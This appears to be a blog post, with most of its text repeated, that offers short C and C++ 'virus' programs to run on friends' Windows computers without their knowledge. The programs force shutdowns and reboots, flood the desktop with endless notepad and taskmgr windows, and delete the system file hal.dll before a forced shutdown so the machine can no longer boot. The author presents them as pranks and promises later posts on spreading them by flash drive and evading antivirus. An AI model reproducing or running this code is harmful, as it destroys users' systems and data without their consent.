It
can be quite awesome and a lot of fun building programs which can cause
nuisance to a computer user, viruses or other type of malware in this
case.
For windows users it can be quite a nuisance, believe me. So i decided to create a few not very nefarious and damaging viruses in C and C++ as well to deploy to a few of my friends just for the fun of it.
And Oh, there are comments to understand the code.
//calling the pre-processor directives
#include<stdio.h>
#include<dir.h>
#include<dos.h>
#include<fcntl.h>
#include<conio.h>
#include<cstdlib>
//Shuts Down The System
int main(){
system("shutdown -s");
}
#include<dos.h>
void main()
{
system("shutdown -s");
}
The code below will open continuously the two .exe programs found in windows: notepad and taskmgr. The screen will be filled with many opening windows of the programs, thereby flooding them on your desktop.
#include<dos.h>
#include<stdio.h>
//Flooding of applications
void main()
{
again:
//time to wait/delay period
delay(200);
//opening up notepad and taskmgr
system("notepad.exe");
system("taskmgr.exe");
//go to the begin of the loop again
goto again;
}
This will hibernate the system.
#include<iostream>
#include<stdio.h>
#include<windows.h>
#include<conio.h>
#include<winable.h>
#include<ctime>
using namespace std;
void Hibernation();
int main(){
Hibernation();
}
void Hibernation(){
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
}
In the program, running the code, the program will delete the hal.dll file then it will shutdown the system at which point even if the user tries boot up again, it won't.
#include<iostream>
#include<stdio.h>
#include<cstdlib>
using namespace std;
int main(int argc, char *argv[]){
//deleting the hal.dll file
std::remove("%systemroot%\\system32\\hal.dll");
std::remove("C:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
return 0;
}
The alternative here still works, deleting the hal.dll file even when the program and yourself have no idea where the default drive is. I mean it could be drive C or D or even E...
#include<iostream>
#include<stdio.h>
#include<cstdlib>
using namespace std;
int main(int argc, char *argv[]){
//to force a delete we use (-q)
system("del %SystemRoot%\\system32\\hal.dll -q");
//we now shutdown the whole system in 00 seconds
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
return 0;
}
The following code causes the computer to reboot/restart.
#include<stdio.h>
#include<dos.h>
//restart computer
void main()
{
system("shutdown -r -f");
}
Next time, i'll be showing how to deploy the viruses from a flash drive and also how to evade anti-viruses when deploying them.
And soon enough we'll also make much more complex viruses, that do even more annoying stuff to a user.
Goodbye.
For windows users it can be quite a nuisance, believe me. So i decided to create a few not very nefarious and damaging viruses in C and C++ as well to deploy to a few of my friends just for the fun of it.
And Oh, there are comments to understand the code.
System Shutdown Virus(C++)
Running the following code on a windows computer causes it to shutdown, as it follows the "shutdown -s" command.//calling the pre-processor directives
#include<stdio.h>
#include<dir.h>
#include<dos.h>
#include<fcntl.h>
#include<conio.h>
#include<cstdlib>
//Shuts Down The System
int main(){
system("shutdown -s");
}
System Shutdown Virus(C)
The same code as above but only implemented in c code and not in c++.
#include<dos.h>
void main()
{
system("shutdown -s");
}
System Application Flooding(C++)
The code below will open continuously the two .exe programs found in windows: notepad and taskmgr. The screen will be filled with many opening windows of the programs, thereby flooding them on your desktop.
#include<dos.h>
#include<stdio.h>
//Flooding of applications
void main()
{
again:
//time to wait/delay period
delay(200);
//opening up notepad and taskmgr
system("notepad.exe");
system("taskmgr.exe");
//go to the begin of the loop again
goto again;
}
System Hibernation Virus(C++)
This will hibernate the system.
#include<iostream>
#include<stdio.h>
#include<windows.h>
#include<conio.h>
#include<winable.h>
#include<ctime>
using namespace std;
void Hibernation();
int main(){
Hibernation();
}
void Hibernation(){
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
}
System N0-Boot-UP Virus(C++)
This code, a bit dangerous, will delete a special file called hal.dll which is used by windows during startup/boot-up. Thus deleting it will cause the inability of windows to boot up again. Be careful as you use it.
Here You Can See The hal.dll File |
In the program, running the code, the program will delete the hal.dll file then it will shutdown the system at which point even if the user tries boot up again, it won't.
#include<iostream>
#include<stdio.h>
#include<cstdlib>
using namespace std;
int main(int argc, char *argv[]){
//deleting the hal.dll file
std::remove("%systemroot%\\system32\\hal.dll");
std::remove("C:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
return 0;
}
The alternative here still works, deleting the hal.dll file even when the program and yourself have no idea where the default drive is. I mean it could be drive C or D or even E...
#include<iostream>
#include<stdio.h>
#include<cstdlib>
using namespace std;
int main(int argc, char *argv[]){
//to force a delete we use (-q)
system("del %SystemRoot%\\system32\\hal.dll -q");
//we now shutdown the whole system in 00 seconds
system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
return 0;
}
System Reboot Virus(C)
The following code causes the computer to reboot/restart.
#include<stdio.h>
#include<dos.h>
//restart computer
void main()
{
system("shutdown -r -f");
}
Next time, i'll be showing how to deploy the viruses from a flash drive and also how to evade anti-viruses when deploying them.
And soon enough we'll also make much more complex viruses, that do even more annoying stuff to a user.
Goodbye.
No comments:
Post a Comment